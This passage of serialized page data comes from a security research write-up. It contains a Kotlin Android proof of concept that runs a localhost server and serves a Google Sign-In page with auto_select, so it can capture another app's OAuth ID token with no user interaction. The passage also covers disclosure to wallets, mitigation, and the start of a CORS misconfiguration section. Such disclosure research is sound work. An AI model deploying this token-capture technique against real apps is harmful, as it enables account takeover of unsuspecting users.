ps":100714,"children":100715},{"style":220},[100716],{"type":28,"value":9680},{"type":23,"tag":213,"props":100718,"children":100719},{"class":215,"line":23592},[100720,100724],{"type":23,"tag":213,"props":100721,"children":100722},{"style":257},[100723],{"type":28,"value":71076},{"type":23,"tag":213,"props":100725,"children":100726},{"style":220},[100727],{"type":28,"value":1375},{"type":23,"tag":213,"props":100729,"children":100730},{"class":215,"line":23600},[100731,100735],{"type":23,"tag":213,"props":100732,"children":100733},{"style":274},[100734],{"type":28,"value":71088},{"type":23,"tag":213,"props":100736,"children":100737},{"style":246},[100738],{"type":28,"value":100739},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":213,"props":100741,"children":100742},{"class":215,"line":23608},[100743],{"type":23,"tag":213,"props":100744,"children":100745},{"style":220},[100746],{"type":28,"value":71101},{"type":23,"tag":213,"props":100748,"children":100749},{"class":215,"line":23617},[100750],{"type":23,"tag":213,"props":100751,"children":100752},{"style":220},[100753],{"type":28,"value":71031},{"type":23,"tag":213,"props":100755,"children":100756},{"class":215,"line":23659},[100757],{"type":23,"tag":213,"props":100758,"children":100759},{"style":220},[100760],{"type":28,"value":71116},{"type":23,"tag":213,"props":100762,"children":100763},{"class":215,"line":23692},[100764],{"type":23,"tag":213,"props":100765,"children":100766},{"style":220},[100767],{"type":28,"value":71124},{"type":23,"tag":213,"props":100769,"children":100770},{"class":215,"line":23700},[100771],{"type":23,"tag":213,"props":100772,"children":100773},{"style":220},[100774],{"type":28,"value":58938},{"type":23,"tag":213,"props":100776,"children":100777},{"class":215,"line":23708},[100778,100782,100786,100790,100794,100798],{"type":23,"tag":213,"props":100779,"children":100780},{"style":220},[100781],{"type":28,"value":71139},{"type":23,"tag":213,"props":100783,"children":100784},{"style":257},[100785],{"type":28,"value":71144},{"type":23,"tag":213,"props":100787,"children":100788},{"style":220},[100789],{"type":28,"value":71149},{"type":23,"tag":213,"props":100791,"children":100792},{"style":274},[100793],{"type":28,"value":3190},{"type":23,"tag":213,"props":100795,"children":100796},{"style":230},[100797],{"type":28,"value":12551},{"type":23,"tag":213,"props":100799,"children":100800},{"style":220},[100801],{"type":28,"value":2183},{"type":23,"tag":213,"props":100803,"children":100804},{"class":215,"line":23717},[100805],{"type":23,"tag":213,"props":100806,"children":100807},{"style":220},[100808],{"type":28,"value":2875},{"type":23,"tag":24,"props":100810,"children":100811},{},[100812],{"type":28,"value":100813},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":100815,"children":100816},{},[100817,100819,100825],{"type":28,"value":100818},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":209,"props":100820,"children":100822},{"className":100821},[],[100823],{"type":28,"value":100824},"auto_select",{"type":28,"value":100826}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":202,"props":100828,"children":100830},{"className":100186,"code":100829,"language":100188,"meta":7,"style":7}," override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n title(\"Test\")\n script {\n src = \"https://accounts.google.com/gsi/client\"\n attributes[\"async\"] = \"\"\n attributes[\"defer\"] = \"\"\n }\n script {\n unsafe {\n +\"\"\"\n function handleCredentialResponse(response) {\n alert(\"credential: \" + response.credential);\n }\n\n window.onload = async function () {\n const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n const client_id = oauth_url.searchParams.get(\"client_id\");\n google.accounts.id.initialize({\n client_id: client_id,\n callback: handleCredentialResponse,\n auto_select: true\n });\n\n google.accounts.id.renderButton(\n document.getElementById(\"g_id_signin\"),\n { theme: \"outline\", size: \"large\" }\n );\n\n google.accounts.id.prompt();\n };\n \"\"\".trimIndent()\n }\n }\n }\n body {\n h1 { +\"Login here:\" }\n div {\n id = \"g_id_signin\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n",[100831],{"type":23,"tag":209,"props":100832,"children":100833},{"__ignoreMap":7},[100834,100861,100880,100887,100906,100917,100928,100959,100982,101029,101036,101043,101050,101090,101101,101108,101115,101134,101157,101168,101187,101202,101213,101233,101244,101261,101287,101311,101318,101329,101341,101354,101362,101370,101377,101384,101392,101400,101408,101416,101424,101432,101440,101447,101454,101462,101470,101478,101485,101492,101500,101507,101528,101536,101543,101550,101561,101585,101597,101614,101621,101628,101636,101644,101652,101680],{"type":23,"tag":213,"props":100835,"children":100836},{"class":215,"line":216},[100837,100841,100845,100849,100853,100857],{"type":23,"tag":213,"props":100838,"children":100839},{"style":230},[100840],{"type":28,"value":70497},{"type":23,"tag":213,"props":100842,"children":100843},{"style":230},[100844],{"type":28,"value":6299},{"type":23,"tag":213,"props":100846,"children":100847},{"style":257},[100848],{"type":28,"value":70506},{"type":23,"tag":213,"props":100850,"children":100851},{"style":220},[100852],{"type":28,"value":70511},{"type":23,"tag":213,"props":100854,"children":100855},{"style":290},[100856],{"type":28,"value":70516},{"type":23,"tag":213,"props":100858,"children":100859},{"style":220},[100860],{"type":28,"value":70521},{"type":23,"tag":213,"props":100862,"children":100863},{"class":215,"line":226},[100864,100868,100872,100876],{"type":23,"tag":213,"props":100865,"children":100866},{"style":230},[100867],{"type":28,"value":70529},{"type":23,"tag":213,"props":100869,"children":100870},{"style":220},[100871],{"type":28,"value":124},{"type":23,"tag":213,"props":100873,"children":100874},{"style":257},[100875],{"type":28,"value":70538},{"type":23,"tag":213,"props":100877,"children":100878},{"style":220},[100879],{"type":28,"value":70543},{"type":23,"tag":213,"props":100881,"children":100882},{"class":215,"line":524},[100883],{"type":23,"tag":213,"props":100884,"children":100885},{"emptyLinePlaceholder":18},[100886],{"type":28,"value":530},{"type":23,"tag":213,"props":100888,"children":100889},{"class":215,"line":533},[100890,100894,100898,100902],{"type":23,"tag":213,"props":100891,"children":100892},{"style":257},[100893],{"type":28,"value":70566},{"type":23,"tag":213,"props":100895,"children":100896},{"style":220},[100897],{"type":28,"value":70571},{"type":23,"tag":213,"props":100899,"children":100900},{"style":257},[100901],{"type":28,"value":70576},{"type":23,"tag":213,"props":100903,"children":100904},{"style":220},[100905],{"type":28,"value":1375},{"type":23,"tag":213,"props":100907,"children":100908},{"class":215,"line":543},[100909,100913],{"type":23,"tag":213,"props":100910,"children":100911},{"style":1362},[100912],{"type":28,"value":70588},{"type":23,"tag":213,"props":100914,"children":100915},{"style":220},[100916],{"type":28,"value":1375},{"type":23,"tag":213,"props":100918,"children":100919},{"class":215,"line":551},[100920,100924],{"type":23,"tag":213,"props":100921,"children":100922},{"style":257},[100923],{"type":28,"value":70600},{"type":23,"tag":213,"props":100925,"children":100926},{"style":220},[100927],{"type":28,"value":7824},{"type":23,"tag":213,"props":100929,"children":100930},{"class":215,"line":570},[100931,100935,100939,100943,100947,100951,100955],{"type":23,"tag":213,"props":100932,"children":100933},{"style":220},[100934],{"type":28,"value":70612},{"type":23,"tag":213,"props":100936,"children":100937},{"style":257},[100938],{"type":28,"value":70617},{"type":23,"tag":213,"props":100940,"children":100941},{"style":220},[100942],{"type":28,"value":265},{"type":23,"tag":213,"props":100944,"children":100945},{"style":246},[100946],{"type":28,"value":70626},{"type":23,"tag":213,"props":100948,"children":100949},{"style":220},[100950],{"type":28,"value":424},{"type":23,"tag":213,"props":100952,"children":100953},{"style":246},[100954],{"type":28,"value":70635},{"type":23,"tag":213,"props":100956,"children":100957},{"style":220},[100958],{"type":28,"value":2183},{"type":23,"tag":213,"props":100960,"children":100961},{"class":215,"line":655},[100962,100966,100970,100974,100978],{"type":23,"tag":213,"props":100963,"children":100964},{"style":220},[100965],{"type":28,"value":70647},{"type":23,"tag":213,"props":100967,"children":100968},{"style":230},[100969],{"type":28,"value":48463},{"type":23,"tag":213,"props":100971,"children":100972},{"style":220},[100973],{"type":28,"value":70656},{"type":23,"tag":213,"props":100975,"children":100976},{"style":290},[100977],{"type":28,"value":70661},{"type":23,"tag":213,"props":100979,"children":100980},{"style":220},[100981],{"type":28,"value":14870},{"type":23,"tag":213,"props":100983,"children":100984},{"class":215,"line":1176},[100985,100989,100993,100997,101001,101005,101009,101013,101017,101021,101025],{"type":23,"tag":213,"props":100986,"children":100987},{"style":220},[100988],{"type":28,"value":70612},{"type":23,"tag":213,"props":100990,"children":100991},{"style":257},[100992],{"type":28,"value":51507},{"type":23,"tag":213,"props":100994,"children":100995},{"style":220},[100996],{"type":28,"value":265},{"type":23,"tag":213,"props":100998,"children":100999},{"style":246},[101000],{"type":28,"value":70626},{"type":23,"tag":213,"props":101002,"children":101003},{"style":220},[101004],{"type":28,"value":424},{"type":23,"tag":213,"props":101006,"children":101007},{"style":246},[101008],{"type":28,"value":70693},{"type":23,"tag":213,"props":101010,"children":101011},{"style":230},[101012],{"type":28,"value":34165},{"type":23,"tag":213,"props":101014,"children":101015},{"style":274},[101016],{"type":28,"value":70702},{"type":23,"tag":213,"props":101018,"children":101019},{"style":230},[101020],{"type":28,"value":34197},{"type":23,"tag":213,"props":101022,"children":101023},{"style":246},[101024],{"type":28,"value":20114},{"type":23,"tag":213,"props":101026,"children":101027},{"style":220},[101028],{"type":28,"value":70715},{"type":23,"tag":213,"props":101030,"children":101031},{"class":215,"line":1202},[101032],{"type":23,"tag":213,"props":101033,"children":101034},{"style":220},[101035],{"type":28,"value":58938},{"type":23,"tag":213,"props":101037,"children":101038},{"class":215,"line":1758},[101039],{"type":23,"tag":213,"props":101040,"children":101041},{"style":220},[101042],{"type":28,"value":3444},{"type":23,"tag":213,"props":101044,"children":101045},{"class":215,"line":1767},[101046],{"type":23,"tag":213,"props":101047,"children":101048},{"emptyLinePlaceholder":18},[101049],{"type":28,"value":530},{"type":23,"tag":213,"props":101051,"children":101052},{"class":215,"line":1789},[101053,101057,101061,101065,101069,101073,101077,101081,101086],{"type":23,"tag":213,"props":101054,"children":101055},{"style":230},[101056],{"type":28,"value":70752},{"type":23,"tag":213,"props":101058,"children":101059},{"style":220},[101060],{"type":28,"value":70778},{"type":23,"tag":213,"props":101062,"children":101063},{"style":274},[101064],{"type":28,"value":3190},{"type":23,"tag":213,"props":101066,"children":101067},{"style":257},[101068],{"type":28,"value":70787},{"type":23,"tag":213,"props":101070,"children":101071},{"style":220},[101072],{"type":28,"value":70792},{"type":23,"tag":213,"props":101074,"children":101075},{"style":257},[101076],{"type":28,"value":39269},{"type":23,"tag":213,"props":101078,"children":101079},{"style":220},[101080],{"type":28,"value":265},{"type":23,"tag":213,"props":101082,"children":101083},{"style":246},[101084],{"type":28,"value":101085},"\"http://localhost:3000\"",{"type":23,"tag":213,"props":101087,"children":101088},{"style":220},[101089],{"type":28,"value":19766},{"type":23,"tag":213,"props":101091,"children":101092},{"class":215,"line":1812},[101093,101097],{"type":23,"tag":213,"props":101094,"children":101095},{"style":257},[101096],{"type":28,"value":70809},{"type":23,"tag":213,"props":101098,"children":101099},{"style":220},[101100],{"type":28,"value":70814},{"type":23,"tag":213,"props":101102,"children":101103},{"class":215,"line":1838},[101104],{"type":23,"tag":213,"props":101105,"children":101106},{"style":220},[101107],{"type":28,"value":2875},{"type":23,"tag":213,"props":101109,"children":101110},{"class":215,"line":1851},[101111],{"type":23,"tag":213,"props":101112,"children":101113},{"emptyLinePlaceholder":18},[101114],{"type":28,"value":530},{"type":23,"tag":213,"props":101116,"children":101117},{"class":215,"line":1864},[101118,101122,101126,101130],{"type":23,"tag":213,"props":101119,"children":101120},{"style":230},[101121],{"type":28,"value":70836},{"type":23,"tag":213,"props":101123,"children":101124},{"style":230},[101125],{"type":28,"value":6299},{"type":23,"tag":213,"props":101127,"children":101128},{"style":257},[101129],{"type":28,"value":70845},{"type":23,"tag":213,"props":101131,"children":101132},{"style":220},[101133],{"type":28,"value":15791},{"type":23,"tag":213,"props":101135,"children":101136},{"class":215,"line":1890},[101137,101141,101145,101149,101153],{"type":23,"tag":213,"props":101138,"children":101139},{"style":257},[101140],{"type":28,"value":70857},{"type":23,"tag":213,"props":101142,"children":101143},{"style":220},[101144],{"type":28,"value":70862},{"type":23,"tag":213,"props":101146,"children":101147},{"style":274},[101148],{"type":28,"value":3190},{"type":23,"tag":213,"props":101150,"children":101151},{"style":514},[101152],{"type":28,"value":70871},{"type":23,"tag":213,"props":101154,"children":101155},{"style":220},[101156],{"type":28,"value":14870},{"type":23,"tag":213,"props":101158,"children":101159},{"class":215,"line":1899},[101160,101164],{"type":23,"tag":213,"props":101161,"children":101162},{"style":257},[101163],{"type":28,"value":70883},{"type":23,"tag":213,"props":101165,"children":101166},{"style":220},[101167],{"type":28,"value":1375},{"type":23,"tag":213,"props":101169,"children":101170},{"class":215,"line":1912},[101171,101175,101179,101183],{"type":23,"tag":213,"props":101172,"children":101173},{"style":230},[101174],{"type":28,"value":70895},{"type":23,"tag":213,"props":101176,"children":101177},{"style":220},[101178],{"type":28,"value":265},{"type":23,"tag":213,"props":101180,"children":101181},{"style":246},[101182],{"type":28,"value":70904},{"type":23,"tag":213,"props":101184,"children":101185},{"style":220},[101186],{"type":28,"value":14870},{"type":23,"tag":213,"props":101188,"children":101189},{"class":215,"line":1921},[101190,101194,101198],{"type":23,"tag":213,"props":101191,"children":101192},{"style":220},[101193],{"type":28,"value":70916},{"type":23,"tag":213,"props":101195,"children":101196},{"style":257},[101197],{"type":28,"value":70921},{"type":23,"tag":213,"props":101199,"children":101200},{"style":220},[101201],{"type":28,"value":1375},{"type":23,"tag":213,"props":101203,"children":101204},{"class":215,"line":3879},[101205,101209],{"type":23,"tag":213,"props":101206,"children":101207},{"style":257},[101208],{"type":28,"value":70933},{"type":23,"tag":213,"props":101210,"children":101211},{"style":220},[101212],{"type":28,"value":1375},{"type":23,"tag":213,"props":101214,"children":101215},{"class":215,"line":3887},[101216,101220,101224,101229],{"type":23,"tag":213,"props":101217,"children":101218},{"style":257},[101219],{"type":28,"value":71010},{"type":23,"tag":213,"props":101221,"children":101222},{"style":220},[101223],{"type":28,"value":265},{"type":23,"tag":213,"props":101225,"children":101226},{"style":246},[101227],{"type":28,"value":101228},"\"Test\"",{"type":23,"tag":213,"props":101230,"children":101231},{"style":220},[101232],{"type":28,"value":2183},{"type":23,"tag":213,"props":101234,"children":101235},{"class":215,"line":3918},[101236,101240],{"type":23,"tag":213,"props":101237,"children":101238},{"style":257},[101239],{"type":28,"value":71076},{"type":23,"tag":213,"props":101241,"children":101242},{"style":220},[101243],{"type":28,"value":1375},{"type":23,"tag":213,"props":101245,"children":101246},{"class":215,"line":3926},[101247,101252,101256],{"type":23,"tag":213,"props":101248,"children":101249},{"style":220},[101250],{"type":28,"value":101251}," src ",{"type":23,"tag":213,"props":101253,"children":101254},{"style":274},[101255],{"type":28,"value":3190},{"type":23,"tag":213,"props":101257,"children":101258},{"style":246},[101259],{"type":28,"value":101260}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":213,"props":101262,"children":101263},{"class":215,"line":3986},[101264,101269,101274,101278,101282],{"type":23,"tag":213,"props":101265,"children":101266},{"style":220},[101267],{"type":28,"value":101268}," attributes[",{"type":23,"tag":213,"props":101270,"children":101271},{"style":246},[101272],{"type":28,"value":101273},"\"async\"",{"type":23,"tag":213,"props":101275,"children":101276},{"style":220},[101277],{"type":28,"value":8746},{"type":23,"tag":213,"props":101279,"children":101280},{"style":274},[101281],{"type":28,"value":3190},{"type":23,"tag":213,"props":101283,"children":101284},{"style":246},[101285],{"type":28,"value":101286}," \"\"\n",{"type":23,"tag":213,"props":101288,"children":101289},{"class":215,"line":9132},[101290,101294,101299,101303,101307],{"type":23,"tag":213,"props":101291,"children":101292},{"style":220},[101293],{"type":28,"value":101268},{"type":23,"tag":213,"props":101295,"children":101296},{"style":246},[101297],{"type":28,"value":101298},"\"defer\"",{"type":23,"tag":213,"props":101300,"children":101301},{"style":220},[101302],{"type":28,"value":8746},{"type":23,"tag":213,"props":101304,"children":101305},{"style":274},[101306],{"type":28,"value":3190},{"type":23,"tag":213,"props":101308,"children":101309},{"style":246},[101310],{"type":28,"value":101286},{"type":23,"tag":213,"props":101312,"children":101313},{"class":215,"line":9150},[101314],{"type":23,"tag":213,"props":101315,"children":101316},{"style":220},[101317],{"type":28,"value":71101},{"type":23,"tag":213,"props":101319,"children":101320},{"class":215,"line":9195},[101321,101325],{"type":23,"tag":213,"props":101322,"children":101323},{"style":257},[101324],{"type":28,"value":71076},{"type":23,"tag":213,"props":101326,"children":101327},{"style":220},[101328],{"type":28,"value":1375},{"type":23,"tag":213,"props":101330,"children":101331},{"class":215,"line":9301},[101332,101337],{"type":23,"tag":213,"props":101333,"children":101334},{"style":257},[101335],{"type":28,"value":101336}," unsafe",{"type":23,"tag":213,"props":101338,"children":101339},{"style":220},[101340],{"type":28,"value":1375},{"type":23,"tag":213,"props":101342,"children":101343},{"class":215,"line":23557},[101344,101349],{"type":23,"tag":213,"props":101345,"children":101346},{"style":274},[101347],{"type":28,"value":101348}," +",{"type":23,"tag":213,"props":101350,"children":101351},{"style":246},[101352],{"type":28,"value":101353},"\"\"\"\n",{"type":23,"tag":213,"props":101355,"children":101356},{"class":215,"line":23592},[101357],{"type":23,"tag":213,"props":101358,"children":101359},{"style":246},[101360],{"type":28,"value":101361}," function handleCredentialResponse(response) {\n",{"type":23,"tag":213,"props":101363,"children":101364},{"class":215,"line":23600},[101365],{"type":23,"tag":213,"props":101366,"children":101367},{"style":246},[101368],{"type":28,"value":101369}," alert(\"credential: \" + response.credential);\n",{"type":23,"tag":213,"props":101371,"children":101372},{"class":215,"line":23608},[101373],{"type":23,"tag":213,"props":101374,"children":101375},{"style":246},[101376],{"type":28,"value":2875},{"type":23,"tag":213,"props":101378,"children":101379},{"class":215,"line":23617},[101380],{"type":23,"tag":213,"props":101381,"children":101382},{"emptyLinePlaceholder":18},[101383],{"type":28,"value":530},{"type":23,"tag":213,"props":101385,"children":101386},{"class":215,"line":23659},[101387],{"type":23,"tag":213,"props":101388,"children":101389},{"style":246},[101390],{"type":28,"value":101391}," window.onload = async function () {\n",{"type":23,"tag":213,"props":101393,"children":101394},{"class":215,"line":23692},[101395],{"type":23,"tag":213,"props":101396,"children":101397},{"style":246},[101398],{"type":28,"value":101399}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":213,"props":101401,"children":101402},{"class":215,"line":23700},[101403],{"type":23,"tag":213,"props":101404,"children":101405},{"style":246},[101406],{"type":28,"value":101407}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":213,"props":101409,"children":101410},{"class":215,"line":23708},[101411],{"type":23,"tag":213,"props":101412,"children":101413},{"style":246},[101414],{"type":28,"value":101415}," google.accounts.id.initialize({\n",{"type":23,"tag":213,"props":101417,"children":101418},{"class":215,"line":23717},[101419],{"type":23,"tag":213,"props":101420,"children":101421},{"style":246},[101422],{"type":28,"value":101423}," client_id: client_id,\n",{"type":23,"tag":213,"props":101425,"children":101426},{"class":215,"line":23793},[101427],{"type":23,"tag":213,"props":101428,"children":101429},{"style":246},[101430],{"type":28,"value":101431}," callback: handleCredentialResponse,\n",{"type":23,"tag":213,"props":101433,"children":101434},{"class":215,"line":23826},[101435],{"type":23,"tag":213,"props":101436,"children":101437},{"style":246},[101438],{"type":28,"value":101439}," auto_select: true\n",{"type":23,"tag":213,"props":101441,"children":101442},{"class":215,"line":23834},[101443],{"type":23,"tag":213,"props":101444,"children":101445},{"style":246},[101446],{"type":28,"value":7385},{"type":23,"tag":213,"props":101448,"children":101449},{"class":215,"line":23842},[101450],{"type":23,"tag":213,"props":101451,"children":101452},{"emptyLinePlaceholder":18},[101453],{"type":28,"value":530},{"type":23,"tag":213,"props":101455,"children":101456},{"class":215,"line":23879},[101457],{"type":23,"tag":213,"props":101458,"children":101459},{"style":246},[101460],{"type":28,"value":101461}," google.accounts.id.renderButton(\n",{"type":23,"tag":213,"props":101463,"children":101464},{"class":215,"line":23892},[101465],{"type":23,"tag":213,"props":101466,"children":101467},{"style":246},[101468],{"type":28,"value":101469}," document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":213,"props":101471,"children":101472},{"class":215,"line":23905},[101473],{"type":23,"tag":213,"props":101474,"children":101475},{"style":246},[101476],{"type":28,"value":101477}," { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":213,"props":101479,"children":101480},{"class":215,"line":23918},[101481],{"type":23,"tag":213,"props":101482,"children":101483},{"style":246},[101484],{"type":28,"value":6858},{"type":23,"tag":213,"props":101486,"children":101487},{"class":215,"line":23972},[101488],{"type":23,"tag":213,"props":101489,"children":101490},{"emptyLinePlaceholder":18},[101491],{"type":28,"value":530},{"type":23,"tag":213,"props":101493,"children":101494},{"class":215,"line":23980},[101495],{"type":23,"tag":213,"props":101496,"children":101497},{"style":246},[101498],{"type":28,"value":101499}," google.accounts.id.prompt();\n",{"type":23,"tag":213,"props":101501,"children":101502},{"class":215,"line":32336},[101503],{"type":23,"tag":213,"props":101504,"children":101505},{"style":246},[101506],{"type":28,"value":39054},{"type":23,"tag":213,"props":101508,"children":101509},{"class":215,"line":32357},[101510,101515,101519,101524],{"type":23,"tag":213,"props":101511,"children":101512},{"style":246},[101513],{"type":28,"value":101514}," \"\"\"",{"type":23,"tag":213,"props":101516,"children":101517},{"style":220},[101518],{"type":28,"value":124},{"type":23,"tag":213,"props":101520,"children":101521},{"style":257},[101522],{"type":28,"value":101523},"trimIndent",{"type":23,"tag":213,"props":101525,"children":101526},{"style":220},[101527],{"type":28,"value":7824},{"type":23,"tag":213,"props":101529,"children":101530},{"class":215,"line":81004},[101531],{"type":23,"tag":213,"props":101532,"children":101533},{"style":220},[101534],{"type":28,"value":101535}," }\n",{"type":23,"tag":213,"props":101537,"children":101538},{"class":215,"line":81017},[101539],{"type":23,"tag":213,"props":101540,"children":101541},{"style":220},[101542],{"type":28,"value":71101},{"type":23,"tag":213,"props":101544,"children":101545},{"class":215,"line":81025},[101546],{"type":23,"tag":213,"props":101547,"children":101548},{"style":220},[101549],{"type":28,"value":71031},{"type":23,"tag":213,"props":101551,"children":101552},{"class":215,"line":81033},[101553,101557],{"type":23,"tag":213,"props":101554,"children":101555},{"style":257},[101556],{"type":28,"value":71039},{"type":23,"tag":213,"props":101558,"children":101559},{"style":220},[101560],{"type":28,"value":1375},{"type":23,"tag":213,"props":101562,"children":101563},{"class":215,"line":81041},[101564,101568,101572,101576,101581],{"type":23,"tag":213,"props":101565,"children":101566},{"style":257},[101567],{"type":28,"value":71051},{"type":23,"tag":213,"props":101569,"children":101570},{"style":220},[101571],{"type":28,"value":2572},{"type":23,"tag":213,"props":101573,"children":101574},{"style":274},[101575],{"type":28,"value":2703},{"type":23,"tag":213,"props":101577,"children":101578},{"style":246},[101579],{"type":28,"value":101580},"\"Login here:\"",{"type":23,"tag":213,"props":101582,"children":101583},{"style":220},[101584],{"type":28,"value":9680},{"type":23,"tag":213,"props":101586,"children":101587},{"class":215,"line":81081},[101588,101593],{"type":23,"tag":213,"props":101589,"children":101590},{"style":257},[101591],{"type":28,"value":101592}," div",{"type":23,"tag":213,"props":101594,"children":101595},{"style":220},[101596],{"type":28,"value":1375},{"type":23,"tag":213,"props":101598,"children":101599},{"class":215,"line":81089},[101600,101605,101609],{"type":23,"tag":213,"props":101601,"children":101602},{"style":220},[101603],{"type":28,"value":101604}," id ",{"type":23,"tag":213,"props":101606,"children":101607},{"style":274},[101608],{"type":28,"value":3190},{"type":23,"tag":213,"props":101610,"children":101611},{"style":246},[101612],{"type":28,"value":101613}," \"g_id_signin\"\n",{"type":23,"tag":213,"props":101615,"children":101616},{"class":215,"line":88276},[101617],{"type":23,"tag":213,"props":101618,"children":101619},{"style":220},[101620],{"type":28,"value":71101},{"type":23,"tag":213,"props":101622,"children":101623},{"class":215,"line":88284},[101624],{"type":23,"tag":213,"props":101625,"children":101626},{"style":220},[101627],{"type":28,"value":71031},{"type":23,"tag":213,"props":101629,"children":101631},{"class":215,"line":101630},62,[101632],{"type":23,"tag":213,"props":101633,"children":101634},{"style":220},[101635],{"type":28,"value":71116},{"type":23,"tag":213,"props":101637,"children":101639},{"class":215,"line":101638},63,[101640],{"type":23,"tag":213,"props":101641,"children":101642},{"style":220},[101643],{"type":28,"value":71124},{"type":23,"tag":213,"props":101645,"children":101647},{"class":215,"line":101646},64,[101648],{"type":23,"tag":213,"props":101649,"children":101650},{"style":220},[101651],{"type":28,"value":58938},{"type":23,"tag":213,"props":101653,"children":101655},{"class":215,"line":101654},65,[101656,101660,101664,101668,101672,101676],{"type":23,"tag":213,"props":101657,"children":101658},{"style":220},[101659],{"type":28,"value":71139},{"type":23,"tag":213,"props":101661,"children":101662},{"style":257},[101663],{"type":28,"value":71144},{"type":23,"tag":213,"props":101665,"children":101666},{"style":220},[101667],{"type":28,"value":71149},{"type":23,"tag":213,"props":101669,"children":101670},{"style":274},[101671],{"type":28,"value":3190},{"type":23,"tag":213,"props":101673,"children":101674},{"style":230},[101675],{"type":28,"value":12551},{"type":23,"tag":213,"props":101677,"children":101678},{"style":220},[101679],{"type":28,"value":2183},{"type":23,"tag":213,"props":101681,"children":101683},{"class":215,"line":101682},66,[101684],{"type":23,"tag":213,"props":101685,"children":101686},{"style":220},[101687],{"type":28,"value":2875},{"type":23,"tag":24,"props":101689,"children":101690},{},[101691],{"type":28,"value":101692},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":101694,"children":101695},{},[101696],{"type":28,"value":101697},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":9693,"props":101699,"children":101701},{"id":101700},"how-to-mitigate",[101702],{"type":28,"value":101703},"How to Mitigate",{"type":23,"tag":24,"props":101705,"children":101706},{},[101707],{"type":28,"value":101708},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":47,"props":101710,"children":101712},{"id":101711},"exploiting-cors",[101713],{"type":28,"value":101714},"Exploiting CORS",{"type":23,"tag":24,"props":101716,"children":101717},{},[101718],{"type":28,"value":101719},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":101721,"children":101722},{},[101723,101725,101731],{"type":28,"value":101724},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":209,"props":101726,"children":101728},{"className":101727},[],[101729],{"type":28,"value":101730},"http://",{"type":28,"value":101732}," schema for any subdomain:",{"type":23,"tag":202,"props":101734,"children":101738},{"className":101735,"code":101736,"language":101737,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[101739],{"type":23,"tag":209,"props":101740,"children":101741},{"__ignoreMap":7},[101742,101750,101758,101766],{"type":23,"tag":213,"props":101743,"children":101744},{"class":215,"line":216},[101745],{"type":23,"tag":213,"props":101746,"children":101747},{},[101748],{"type":28,"value":101749},"HTTP 200 